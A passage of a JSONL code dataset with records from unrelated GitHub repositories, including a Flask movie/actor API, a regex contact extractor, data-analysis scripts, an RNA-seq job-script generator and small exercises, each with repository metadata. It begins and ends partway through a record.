summary.value.add(tag=f\"loss/{v}\", simple_value=test_loss_values[i])\n\n test_summary_writer.add_summary(summary, step)\n res = sess.run(output_tensors + [summary_op], train_feed_dict)\n summary_train = res[-1]\n train_loss_string = '\\t training'\n test_loss_string = '\\t test'\n for i, v in enumerate(losses):\n train_loss_string += f' {v}: {np.mean(res[i]):.4f}'\n test_loss_string += f' {v}: {test_loss_values[i]:.4f}'\n print(f'step {step} \\n{train_loss_string} \\n{test_loss_string}')\n train_summary_writer.add_summary(summary_train, step)\n if step % 10000 == 0:\n save_path = saver.save(sess, os.path.join(logdir, 'model.ckpt'), global_step=global_step)\n print('Model saved in file: {}'.format(save_path))\n\n except tf.errors.OutOfRangeError:\n break\n\n train_summary_writer.close()\n","repo_name":"rgl-epfl/learned-subsurface-scattering","sub_path":"pysrc/vae/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":9066,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"75"} +{"seq_id":"13160402003","text":"import matplotlib.pyplot as plt\nimport numpy as np\n#train.data\n#1 2 3 4 5\n#0.5 1 4 2 5\nx = [2, 4, 8, 11, 16, 20]\ny = [3.5, 2.6, 2.5, 2.75, 5.5, 7.0]\nfig = plt.figure()\nax = fig.add_subplot(211)\nax.scatter(x=x, y=y, marker='o', c='b')\nax.plot(x, y, label = u'linear', color='blue', linewidth=2)\nax.set_xlabel(u'x axis')\nax.set_ylabel(u'y axis')\nplt.legend()\nplt.savefig('linear')\n#plt.show()\n","repo_name":"dianaMess/num_methods","sub_path":"lab3/plot1.py","file_name":"plot1.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20464133829","text":"from ..base import ValueFunction\nimport collections\nfrom itertools import product\nimport numpy as np\nfrom scipy.interpolate import griddata\n\n\nclass Interpolator(ValueFunction):\n\n def __init__(self, maxlen=100, initval=0, allowed_overdensity=5, method='nearest'):\n super(Interpolator, self).__init__()\n self.maxlen = maxlen\n self.initval = initval\n self.fill_value = initval\n self.allowed_overdensity = allowed_overdensity\n self.method = method\n self.avg_distance = None\n self.x = collections.deque(maxlen=maxlen)\n self.y = collections.deque(maxlen=maxlen)\n\n # ------------------------------------------------\n # own\n # ------------------------------------------------\n\n def _get_close(self, sample):\n \"\"\"\n Get all indices of samples within a box around a given one.\n \"\"\"\n x_array = np.array(self.x)\n return np.argwhere(np.max(np.abs(x_array - sample), axis=1) < self.avg_distance)\n\n # ------------------------------------------------\n # overwrite parent\n # ------------------------------------------------\n\n def _setup(self):\n \"\"\"\n Create the model that approximates the values.\n \"\"\"\n for v in product([-1., 1.], repeat=self.nmbr_actions + self.nmbr_observations):\n self.x.append(np.array(v))\n for i in range(2 ** (self.nmbr_actions + self.nmbr_observations)):\n self.y.append(self.initval)\n self.avg_distance = (1 / self.maxlen) ** (1 / (self.nmbr_actions + self.nmbr_observations))\n\n def greedy(self, observation):\n \"\"\"\n Return the greedy action for a given observation.\n \"\"\"\n\n best_action = self.x[0][:self.nmbr_actions]\n best_value = griddata(self.x,\n self.y,\n np.concatenate((self.x[0][:self.nmbr_actions], observation)),\n method=self.method,\n fill_value=self.fill_value)[0]\n for ao in self.x:\n v = griddata(self.x,\n self.y,\n np.concatenate((ao[:self.nmbr_actions], observation)),\n method=self.method,\n fill_value=self.fill_value)[0]\n if v > best_value:\n best_value = v\n best_action = ao[:self.nmbr_actions]\n\n return best_action\n\n def update(self, action, observation, new_value):\n \"\"\"\n Update the model with a given value.\n \"\"\"\n close_sample_idx = self._get_close(np.concatenate((action, observation)))\n if len(close_sample_idx) > self.allowed_overdensity:\n del self.x[close_sample_idx[0][0]]\n del self.y[close_sample_idx[0][0]]\n self.x.append(np.concatenate((action, observation)))\n self.y.append(new_value)\n\n def predict(self, action, observation):\n \"\"\"\n Get an action state value.\n \"\"\"\n assert type(action[0]) == np.float64, f'Action not a float array: {type(action[0])}!'\n assert type(observation[0]) == np.float64, f'Observation not a float array: {type(observation[0])}!'\n\n return griddata(self.x,\n self.y,\n np.concatenate((action, observation)),\n method=self.method,\n fill_value=self.fill_value)[0]\n","repo_name":"fewagner/CryoEnv","sub_path":"cryoenv/agents/_interpolator.py","file_name":"_interpolator.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5227925406","text":"# -*- coding: utf-8 -*-\n\n# ! /usr/local/Cellar/python3/3.6.1\n\n# phoneAndEmail_020918_1.py - Finds phone numbers and email addresses on the clipboard...\n# can use testData_020918_1.md\n\nimport pyperclip, re\n\n#####################################\n# PHONE REGEX\n#####################################\n\nphoneRegex = re.compile(r'''\n\t\t((\\d{3}|\\(\\d{3}\\))? # area code aka group 1\n\t\t(\\s|-|\\.)? # separator aka group 2\n\t\t(\\d{3}) # first 3 digits aka group 3\n\t\t(\\s|-|\\.) # separator aka group 4\n\t\t(\\d{4}) # last 4 digits aka group 5\n\t\t(\\s*(ext|x|ext.)\\s*(\\d{2,5}))? # extension aka group 6-8\n\t\t)\n\t''', re.VERBOSE)\n\n#####################################\n# END PHONE REGEX\n#####################################\n\n#####################################\n# EMAIL REGEX\n#####################################\n\n# create email regex\n\nemailRegex = re.compile(r'''(\n\t\t[a-zA-Z0-9._%+-]+ # username\n\t\t@ # @ symbol\n\t\t[a-zA-Z0-9.-]+ # domain name\n\t\t(\\.[a-zA-Z]{2,4}) # dot-something\n\t\t)\n\t''', re.VERBOSE)\n\n#####################################\n# END EMAIL REGEX\n#####################################\n\n#####################################\n# FIND MATCHES IN CLIPPED TEXT\n#####################################\n\n# Find matches in clipboard text\n\ntext = str(pyperclip.paste()) # get a string value of the text on the clipboard\n\nmatches = []\n\nfor groups in phoneRegex.findall(text):\n\tprint(phoneRegex.findall(text))\n\tphoneNum = '-'.join([groups[1], groups[3], groups[5]])\n\n\tif (groups[8] != ''):\n\t\tphoneNum += ' x' + groups[8]\n\n\tmatches.append(phoneNum)\n\nfor groups in emailRegex.findall(text):\n\tmatches.append(groups[0])\n\n#####################################\n# END FIND MATCHES IN CLIPPED TEXT\n#####################################\n\n#####################################\n# COPY RESULTS TO CLIPBOARD\n#####################################\n\n# copy results to the clipboard\n\nif len(matches) > 0:\n\tpyperclip.copy('\\n'.join(matches))\n\tprint('Copied to clipboard: ')\n\tprint('\\n'.join(matches))\nelse:\n\tprint('No phone numbers or email addresses found.')\n\n#####################################\n# END COPY RESULTS TO CLIPBOARD\n#####################################\n\n","repo_name":"sunnylam13/phoneAndEmail_020918_1","sub_path":"phoneAndEmail/phoneAndEmail_020918_1.py","file_name":"phoneAndEmail_020918_1.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17792025018","text":"import sys\r\nN=int(sys.stdin.readline())\r\nlst=[int(sys.stdin.readline()) for _ in range(N)]\r\ncnt=[1]\r\nfor i in sorted(list(set(lst))):\r\n if cnt[0] < lst.count(i):\r\n cnt=[1]\r\n cnt[0]=lst.count(i)\r\n cnt.append(i)\r\n elif cnt[0] == lst.count(i):\r\n cnt.append(i)\r\n\r\nprint(round(sum(lst)/N))\r\nprint(sorted(lst)[N//2])\r\nif len(cnt)==2:\r\n print(cnt[1])\r\nelse:\r\n print(cnt[2])\r\nprint(max(lst)-min(lst))","repo_name":"JUUUUNYEONG/back","sub_path":"Backjoon/Sorting/4번 통계량 -2.py","file_name":"4번 통계량 -2.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24773629655","text":"def extended_gcd(a, b):\n (old_r, r) = (a, b)\n (old_s, s) = (1, 0)\n (old_t, t) = (0, 1)\n\n while r != 0:\n quotient = old_r // r\n (old_r, r) = (r, old_r - quotient * r)\n (old_s, s) = (s, old_s - quotient * s)\n (old_t, t) = (t, old_t - quotient * t)\n\n return old_r, old_s, old_t\n\ng, u, v = extended_gcd(a = 26513, b = 32321)\nprint(g, u, v)\nprint(26513 * u + 32321 * v)\n\n#this doesnt work. idk :')\n","repo_name":"naufalulhaq/kriptografi","sub_path":"Tugas 3/2_gcdextended.py","file_name":"2_gcdextended.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6794003215","text":"import openai\nimport os\nimport pyttsx3\n\n\ndef speak_text(text):\n engine = pyttsx3.init()\n engine.say(text)\n engine.runAndWait()\n\n\ndef fetch_response(api_key, model, prompt):\n openai.api_key = api_key\n response = openai.Completion.create(\n engine=model,\n prompt=prompt,\n max_tokens=1024,\n n=1,\n stop=None,\n temperature=0.5,\n )\n\n return response.choices[0].text\n\n\ndef listen_to_speech(mic, r):\n with mic as source:\n r.adjust_for_ambient_noise(source)\n audio = r.listen(source)\n\n return audio\n\n\ndef recognize_speech(r, audio):\n text = r.recognize_google(audio)\n return text\n","repo_name":"isaacrobert33/voice-gpt","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72069379122","text":"#!/usr/bin/env python3\n\nimport sys\nimport os\nimport glob\nimport re\n\nfastqdir=sys.argv[1]\noutputdir=sys.argv[2]\nSTARdir =sys.argv[3]\n\nfastqlist=glob.glob(fastqdir + \"/\" + \"*.fastq.gz\")\nfastqlist.sort()\nnumfastq = len(fastqlist)\n\nfor i in range(0,numfastq,2):\n pathdirs1 = fastqlist[i].split(\"/\")\n pathdirs2 = fastqlist[i+1].split(\"/\")\n fastqname1 = pathdirs1[-1]\n fastqname2 = pathdirs2[-1]\n m = re.search('(.+?)_.*.fastq.gz',fastqname1)\n samplename = m.group(1)\n jobname = samplename + \"_\" + \"STAR\"\n outfnameprefix = outputdir + \"/\" + samplename\n fname = jobname + \".sh\"\n script = open(fname,\"w\")\n script.write(\"#!/bin/bash\\n\")\n script.write(\"#PBS -N %s\\n\" %jobname)\n script.write(\"#PBS -l walltime=24:00:00\\n\")\n script.write(\"#PBS -l nodes=1:ppn=10\\n\")\n script.write(\"#PBS -l mem=40GB\\n\")\n script.write(\"#PBS -d %s\\n\" % outputdir)\n script.write(\"\\nmodule load gcc/6.2.0\\n\")\n script.write(\"module load STAR/2.6.1d\\n\")\n #script.write(\"STAR --runMode alignReads --genomeDir /gpfs/data/pitroda-lab/ReferenceData/STAR_indexes/hg38_gencode.v29_76 --runThreadN 10 --readFilesIn %s %s --readFilesCommand zcat -c --outFileNamePrefix %s --outSAMtype BAM Unsorted --chimSegmentMin 20 --quantMode TranscriptomeSAM --outReadsUnmapped Fastq --outMultimapperOrder Random --outSAMattrRGline ID:%s --outFilterMultimapNmax 20 --outFilterMismatchNmax 2\\n\" % (fastqlist[i], fastqlist[i+1], outfnameprefix, samplename))\n script.write(\"STAR --runMode alignReads --genomeDir %s --runThreadN 10 --readFilesIn %s %s --readFilesCommand zcat -c --outFileNamePrefix %s --outSAMtype BAM Unsorted --chimSegmentMin 20 --outReadsUnmapped Fastq --outMultimapperOrder Random --outSAMattrRGline ID:%s --outFilterMultimapNmax 20 --outFilterMismatchNmax 2\\n\" % (STARdir, fastqlist[i], fastqlist[i+1], outfnameprefix, samplename))\n","repo_name":"geneticoman/pipeline","sub_path":"STAR_align_pe.py","file_name":"STAR_align_pe.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35660613644","text":"from flask import Flask, render_template, jsonify, request\nfrom sqlalchemy.sql.operators import exists \nfrom models.models import setup_db, Actor, Movie\nfrom auth.auth import AuthError, requires_auth \nfrom flask_cors import CORS\nfrom werkzeug.exceptions import BadRequest, Unauthorized, NotFound \n\ndef create_app(test_config=None):\n app = Flask(__name__,template_folder='./templates')\n CORS(app)\n setup_db(app)\n cors = CORS(app, resources={r\"/api/*\": {\"origins\": \"*\"}})\n\n @app.after_request\n def after_request(response):\n response.headers.add('Access-Contro-Allow-Headers','Content-Type ,Authorization')\n response.headers.add('Access-Contro-Allow-Headers','GET, POST ,PATCH , DELETE ,OPTIONS')\n response.headers.add('Access-Control-Allow-Origin' , 'http://localhost:5000')\n return response \n return app\n\napp = create_app()\n\n@app.route('/')\ndef index():\n return render_template(\"login.html\")\n\n@app.route('/home', methods=['GET','POST'])\ndef user_logged():\n return render_template(\"home.html\")\n\n#----------------------------------------------------------------------------#\n# /actors API\n#----------------------------------------------------------------------------#\n\n@app.route('/actors', methods=['GET'])\n@requires_auth('view:actors')\ndef get_actors(payload):\n try:\n actors_list = Actor.query.all()\n actors = [actor.format() for actor in actors_list]\n if len(actors) == 0:\n return NotFound()\n else:\n response = {\n 'success': True,\n 'status_code': 200,\n 'actors' : actors ,\n }\n return jsonify(response)\n except Exception:\n raise Unauthorized()\n\n@app.route('/actors/<int:id>', methods=['GET'])\n@requires_auth('view:actors')\ndef get_actor(payload, id):\n try:\n actor = Actor.query.filter(Actor.id == id).first()\n if actor is None:\n return NotFound()\n else:\n response = {\n 'success': True,\n 'status_code': 200,\n 'actor' : actor.format() ,\n }\n return jsonify(response)\n except Exception:\n raise Unauthorized()\n\n@app.route('/actors', methods=['POST'])\n@requires_auth('post:actors')\ndef insert_actor(self): \n try:\n body = request.get_json()\n actor = Actor()\n actor.name= body['name']\n actor.gender= body['gender']\n actor.insert()\n response = {\n 'success': True,\n 'status_code': 200,\n 'actor' : actor.format()\n }\n return jsonify(response)\n except Exception:\n raise Unauthorized()\n\n@app.route('/actors/<int:id>', methods=['PATCH'])\n@requires_auth('update:actors')\ndef update_actor(payload, id):\n try:\n if id is None:\n return BadRequest()\n actor = Actor.query.filter(Actor.id == id).first()\n if actor is None:\n return NotFound()\n body = request.get_json()\n actor = Actor()\n if body.get('name', actor.name) is not None:\n actor.name= body.get('name', actor.name)\n if body.get('gender', actor.gender) is not None:\n actor.gender= body.get('gender', actor.gender)\n actor.update()\n update_actor = Actor.query.filter(Actor.id == id).first()\n if update_actor is None:\n return NotFound()\n else:\n response = {\n 'success': True,\n 'status_code': 200,\n 'actor_updated' : update_actor.format()\n }\n return jsonify(response)\n except Exception as E:\n raise Unauthorized()\n\n@app.route('/actors/<int:id>', methods=['DELETE'])\n@requires_auth('delete:actors')\ndef delete_actor(payload,id):\n try:\n selected_actor=Actor.query.get(id)\n if selected_actor is None:\n return NotFound()\n selected_actor.delete()\n\n response = {\n 'success': True,\n 'status_code': 200,\n 'deleted_actor_id' : id\n }\n return jsonify(response)\n except Exception:\n raise Unauthorized()\n\n#----------------------------------------------------------------------------#\n# /movies API\n#----------------------------------------------------------------------------#\n\n@app.route('/movies', methods=['GET'])\n@requires_auth('view:movies')\ndef get_movies(payload):\n try:\n movies_list = Movie.query.all()\n movies = [movie.format() for movie in movies_list]\n if len(movies) == 0:\n return NotFound()\n else:\n response = {\n 'success': True,\n 'status_code': 200,\n 'movies' : movies ,\n }\n return jsonify(response)\n except Exception:\n raise Unauthorized()\n\n@app.route('/movies/<int:id>', methods=['GET'])\n@requires_auth('view:movies')\ndef get_movie(payload, id):\n try:\n movie = Movie.query.filter(Movie.id == id).first()\n if movie is None:\n return NotFound()\n else:\n response = {\n 'success': True,\n 'status_code': 200,\n 'movie' : movie.format() ,\n }\n return jsonify(response)\n except Exception:\n raise Unauthorized()\n\n@app.route('/movies', methods=['POST'])\n@requires_auth('post:movies')\ndef insert_movies(self): \n try:\n body = request.get_json()\n movie = Movie()\n movie.title= body['title']\n movie.release_date= body['release_date']\n movie.insert()\n response = {\n 'success': True,\n 'status_code': 200,\n 'movie' : movie.format()\n }\n return jsonify(response)\n except Exception:\n raise Unauthorized()\n\n@app.route('/movies/<int:id>', methods=['PATCH'])\n@requires_auth('update:movies')\ndef update_movie(payload,id):\n try:\n if id is None:\n return BadRequest()\n movie = Movie.query.filter(Movie.id == id).first()\n if movie is None:\n return NotFound()\n body = request.get_json()\n movie = Movie()\n if body.get('title', movie.title) is not None:\n movie.title= body.get('title', movie.title)\n\n if body.get('release_date', movie.release_date) is not None:\n movie.release_date= body.get('release_date', movie.release_date)\n movie.update()\n update_movie = Movie.query.filter(Movie.id == id).first()\n if update_movie is None:\n return NotFound()\n else:\n response = {\n 'success': True,\n 'status_code': 200,\n 'movie_updated' : update_movie.format()\n }\n return jsonify(response)\n except Exception as E:\n print(E)\n raise Unauthorized()\n\n@app.route('/movies/<int:id>', methods=['DELETE'])\n@requires_auth('delete:movies')\ndef delete_movie(payload,id):\n try:\n selected_movie=Movie.query.get(id)\n if selected_movie is None:\n return NotFound()\n selected_movie.delete()\n\n response = {\n 'success': True,\n 'status_code': 200,\n 'deleted_movie_id' : id\n }\n return jsonify(response)\n except Exception:\n raise Unauthorized()\n\n# Error Handling\n\n@app.errorhandler(400)\ndef bad_request(error):\n return jsonify({\n \"success\" : False,\n \"error\" : 400 ,\n \"message\" : \"bad request \"\n }) ,400\n\n@app.errorhandler(422)\ndef unprocessable(error):\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"unprocessable\"\n }), 422\n\n\n@app.errorhandler(404)\ndef page_not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 404,\n \"message\": \"Resource not found\"\n }), 404\n\n@app.errorhandler(401)\ndef Unauthorized_client(error):\n return jsonify({\n \"success\": False,\n \"error\": 401,\n \"message\": \"Unauthorized client status\"\n }), 401\n\n@app.errorhandler(405)\ndef method_not_found(error):\n return jsonify({\n \"success\" : False,\n \"error\" : 405 ,\n \"message\" : \"Method not found \"\n }) ,405\n\nif __name__ == '__main__':\n app.run()","repo_name":"natherrera/UDACITYCapstone","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24101070393","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport plotly.express as px\r\nimport plotly.graph_objects as go\r\nimport seaborn as sns\r\n\r\ndata = pd.read_csv(\"D:\\HR-Analytics-Project/dailyActivity_merged.csv\")\r\nprint(data.head())\r\nprint(data.isnull().sum())\r\nprint(data.info())\r\n\r\n\r\n# Changing datatype of ActivityDate\r\ndata[\"ActivityDate\"] = pd.to_datetime(data[\"ActivityDate\"], \r\n format=\"mixed\")\r\nprint(data.info())\r\n\r\n\r\n# Adding all the active minutes to total minutes\r\ndata[\"TotalMinutes\"] = data[\"VeryActiveMinutes\"] + data[\"FairlyActiveMinutes\"] + data[\"LightlyActiveMinutes\"] + data[\"SedentaryMinutes\"]\r\nprint(data[\"TotalMinutes\"].sample(5))\r\n\r\n\r\n# Calculate summary statistics\r\nprint(data.describe())\r\n\r\n\r\n# Create histograms for key variables\r\nplt.figure(figsize=(12, 6))\r\nsns.histplot(data['TotalSteps'], kde=True, bins=20)\r\nplt.title('Total Steps Histogram')\r\nplt.xlabel('Total Steps')\r\nplt.ylabel('Frequency')\r\nplt.show()\r\n\r\n# Create box plots\r\nplt.figure(figsize=(12, 6))\r\nsns.boxplot(data=data[['TotalSteps', 'Calories', 'TotalMinutes']])\r\nplt.title('Box Plots for Key Variables')\r\nplt.ylabel('Value')\r\nplt.xticks()\r\nplt.show()\r\n\r\n\r\n# Convert the 'Date' column to a datetime object\r\ndata['ActivityDate'] = pd.to_datetime(data['ActivityDate'])\r\n\r\n# Calculate daily averages\r\ndaily_avg = data.resample('D', on='ActivityDate').mean()\r\n\r\n# Create time series plots\r\nplt.figure(figsize=(14,6))\r\nplt.plot(daily_avg.index, daily_avg['TotalSteps'], label='Total Steps', marker='o')\r\nplt.xlabel('Date')\r\nplt.ylabel('Average Total Steps')\r\nplt.title('Daily Average Total Steps')\r\nplt.legend()\r\nplt.show()\r\n# Calculate correlation matrix\r\ncorrelation_matrix = data[['TotalSteps', 'Calories', 'TotalMinutes']].corr()\r\n\r\n# Perform simple linear regression\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import mean_squared_error, r2_score\r\n\r\nX = data['TotalMinutes'].values.reshape(-1, 1)\r\ny = data['Calories']\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\r\n\r\nmodel = LinearRegression()\r\nmodel.fit(X_train, y_train)\r\n\r\n# Visualize regression results\r\nplt.scatter(X_test, y_test, color='blue')\r\nplt.plot(X_test, model.predict(X_test), color='red', linewidth=3)\r\nplt.title('Linear Regression: Calories Burned vs. Total Minutes')\r\nplt.xlabel(' Total Minutes')\r\nplt.ylabel('Calories Burned')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\nfrom sklearn.pipeline import make_pipeline\r\n\r\n# Fit polynomial regression models\r\ndegrees = [2, 3] # You can try different degrees\r\nfor degree in degrees:\r\n model = make_pipeline(PolynomialFeatures(degree), LinearRegression())\r\n model.fit(X_train, y_train)\r\n\r\n # Visualize polynomial regression curves\r\n X_range = np.linspace(min(X_test), max(X_test), 100).reshape(-1, 1)\r\n y_pred = model.predict(X_range)\r\n\r\n plt.scatter(X_test, y_test, color='blue')\r\n plt.plot(X_range, y_pred, color='red', linewidth=3)\r\n plt.title(f'Polynomial Regression (Degree {degree}): Calories Burned vs. Total Minutes')\r\n plt.xlabel('Total Minutes')\r\n plt.ylabel('Calories Burned')\r\n plt.show()\r\n\r\n # Evaluate goodness of fit\r\n y_pred = model.predict(X_test)\r\n r2 = r2_score(y_test, y_pred)\r\n mse = mean_squared_error(y_test, y_pred)\r\n print(f'Degree {degree} - R-squared: {r2:.2f}, MSE: {mse:.2f}')\r\n\r\n\r\n# Create a binary variable for activity classification\r\ndata['ActivityClass'] = (data['TotalSteps'] >= 10000).astype(int)\r\n\r\n# Perform logistic regression\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nX = data[['TotalSteps', 'TotalMinutes']].values\r\ny = data['ActivityClass']\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\r\n\r\nmodel = LogisticRegression()\r\nmodel.fit(X_train, y_train)\r\n\r\n# Predict and evaluate the model\r\ny_pred = model.predict(X_test)\r\n\r\naccuracy = accuracy_score(y_test, y_pred)\r\nprecision = precision_score(y_test, y_pred)\r\nrecall = recall_score(y_test, y_pred)\r\nf1 = f1_score(y_test, y_pred)\r\n\r\nprint(f'Accuracy: {accuracy:.2f}')\r\nprint(f'Precision: {precision:.2f}')\r\nprint(f'Recall: {recall:.2f}')\r\nprint(f'F1 Score: {f1:.2f}')\r\n\r\n# Visualize decision boundary and decision probabilities\r\nplt.scatter(X_test[:, 0], X_test[:, 1], c=y_test, cmap='coolwarm', marker='o')\r\nplt.xlabel('Total Steps')\r\nplt.ylabel('Total Minutes')\r\nplt.title('Logistic Regression Decision Boundary')\r\nplt.show()\r\n","repo_name":"NiharikaSood/Smartwatch_dataanalysis_project","sub_path":"smartwatch-analysis.py.py","file_name":"smartwatch-analysis.py.py","file_ext":"py","file_size_in_byte":4692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17118266178","text":"class Solution:\n def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:\n \"\"\"\n Do not return anything, modify nums1 in-place instead.\n \"\"\"\n while (len(nums1) > m):\n nums1.pop(m)\n for n in nums2:\n nums1.append(n)\n nums1.sort()\n","repo_name":"jjudy60334/LeetCode_practice","sub_path":"LeetCode/88. Merge Sorted Array/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73753525361","text":"print(' ')\n\nprint('Bienvenido al sistema de voto electronico')\n\nprint('''\n \n A. Votar\n B. Resultados\n \n ''')\n\nN = input('Indique A o B: ')\n\nif N == 'A':\n import voto\n \nelif N == 'B':\n print(' ')\n import resultados","repo_name":"FireShack/Electronic-Vote","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20944629779","text":"# Interactive Help\n#help(print)\n#print(input.__doc__)\ndef contador(i, f, p):\n # DOCSTRINGS\n \"\"\"\n -> Faz uma contagem e mostra na tela\n :param i: inicio da contagem\n :param f: fim da contagem\n :param p: passo da contagem\n :return: sem retorno\n Funcao criada por Gustavo Guanabara do canal CursoemVideo.\n \"\"\"\n c = i\n while c <= f:\n print(f'{c}', end=\" \")\n c += p\n print('FIM!')\n\n\ncontador(2, 10, 2)\nhelp(contador)\n\ndef somar(a=0, b=0, c=0):\n \"\"\"\n -> Soma tres valores e mostra o resultado na tela.\n :param a: primeiro valor\n :param b: segundo valor\n :param c: terceiro valor\n \"\"\"\n s= a+b+c\n print(f'A soma é {s}.')\n\n\nsomar(2, 8, 9)\nsomar()\nsomar(b=4, c=2)\n\n# <<<<<< ESCOPO DE VARIÁVES >>>>>>>\ndef teste():\n x = 8 # x tem escopo local (nao foi declarada fora do teste()), ou seja, so funciona dentro da funcao.\n print(f'Na funcao teste, n vale {n}.')\n print(f'Na funcao teste, x vale {x}.')\n\n# Programa principal\nn = 2 # variavel global, funciona dentro e fora da funcao\nprint(f'No programa principal n vale {n}.')\nteste()\nprint(f'No programa principal, x vale {x}')\n\n# <<< ESCOPO DE VARIAVEIS COM GLOBAL >>>\ndef teste(b):\n global a\n a = 8\n b += 4\n c = 2\n print(f'A dentro vale {a}.')\n print(f'B dentro vale {b}.')\n print(f'C dentro vale {c}.')\n\n\na = 5\nteste(a)\nprint(f'A fora vale {a}.')\n\n# <<<< RETORNANDO VALORES - return() >>>>\ndef somar(a=0, b=0, c=0):\n s = a+b+c\n #print(f'A soma é {s}.')\n return s\n\nr1 = somar(3, 2, 5)\nr2 = somar(2, 4, 6)\nr3 = somar(15, 67)\nprint(f'{r1}')\nprint(f'A soma dos calculos foram: {r1}, {r2} e {r3}.')","repo_name":"MarceliFioravante/python_exercises","sub_path":"Curso_em_Video/Modulo 3 - exercicios/aula21-Conceitos.py","file_name":"aula21-Conceitos.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22711018272","text":"import csv\r\nimport json\r\nimport os\r\nimport os.path\r\nfrom pathlib import Path\r\n\r\nimport numpy as np\r\n\r\n\r\n# 获取数据\r\ndef getData(path):\r\n with open(path, 'r', encoding='utf-8') as fp:\r\n dt = csv.reader(fp)\r\n rows = [row for row in dt]\r\n length = 0\r\n start = 2\r\n newStart = 2\r\n lunshu = 0\r\n\r\n # 一次循环一个城市的所有月份\r\n for i in range(2013, 2019):\r\n for j in range(1, 11):\r\n PM25Tmp = []\r\n PM10Tmp = []\r\n SO2Tmp = []\r\n NO2Tmp = []\r\n COTmp = []\r\n O3Tmp = []\r\n ym = []\r\n for k in range(0, 3):\r\n t = j + k # 月份顺序 1 2 3\r\n if t >= 10:\r\n t = str(t)\r\n else:\r\n t = '0' + str(t)\r\n ym.append(str(i) + '-' + str(t)) # 将连续的三个月加入候选数组中 2013-01 2013-12 2013-03\r\n\r\n start = newStart\r\n first = True\r\n # len(rows)-1是因为最后有两个空行\r\n for d in range(start, len(rows), 2):\r\n year = rows[d][0].split('-')[0] # 数据行中的年月\r\n month = rows[d][0].split('-')[1]\r\n if str(year) + '-' + str(month) in ym:\r\n PM25Tmp.append(eval(rows[d][1])) # 一个市的三个月内的指标的值\r\n PM10Tmp.append(eval(rows[d][2])) # 一个市的三个月内的指标的值\r\n SO2Tmp.append(eval(rows[d][3])) # 一个市的三个月内的指标的值\r\n NO2Tmp.append(eval(rows[d][4])) # 一个市的三个月内的指标的值\r\n COTmp.append(eval(rows[d][5])) # 一个���的三个月内的指标的值\r\n O3Tmp.append(eval(rows[d][6])) # 一个市的三个月内的指标的值\r\n if str(year) + '-' + str(month) == ym[1] and first and ym[2].split('-')[1] != '12': # 当这一轮不是这个今年的最后一轮时,将当前时间内的第二个月的开始值作为下一个轮的开始值\r\n newStart = d + 2 # 保存下一轮的开始位置\r\n first = False # 标识是否为第二个月的开始\r\n elif ym[2].split('-')[1] == '12': # 是每年的最后一轮\r\n newStart = d + 4\r\n else:\r\n break\r\n # print(len(PM25Tmp))\r\n res['PM25'][lunshu].append(PM25Tmp)\r\n res['PM10'][lunshu].append(PM10Tmp)\r\n res['SO2'][lunshu].append(SO2Tmp)\r\n res['NO2'][lunshu].append(NO2Tmp)\r\n res['CO'][lunshu].append(COTmp)\r\n res['O3'][lunshu].append(O3Tmp)\r\n lunshu += 1\r\n\r\n\r\n# 将每个市的区县求平均值,每个市每天只保留一条数据\r\ndef getAverge(path):\r\n with open(path, 'r', encoding='utf-8') as fp:\r\n dt = csv.reader(fp)\r\n rows = [row for row in dt]\r\n tmp = '2013-01-01' # 初始日期\r\n sum = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n number = 0\r\n mkDir = '\\\\'.join(path.replace('China_new', 'preCluster').split('\\\\')[0:-1])\r\n try:\r\n os.mkdir(mkDir)\r\n except:\r\n print('文件已创建')\r\n\r\n newPath = mkDir + '\\\\' + path.split('\\\\')[-1]\r\n f = open(newPath, 'w', encoding='utf-8')\r\n writer = csv.writer(f)\r\n writer.writerow(\r\n 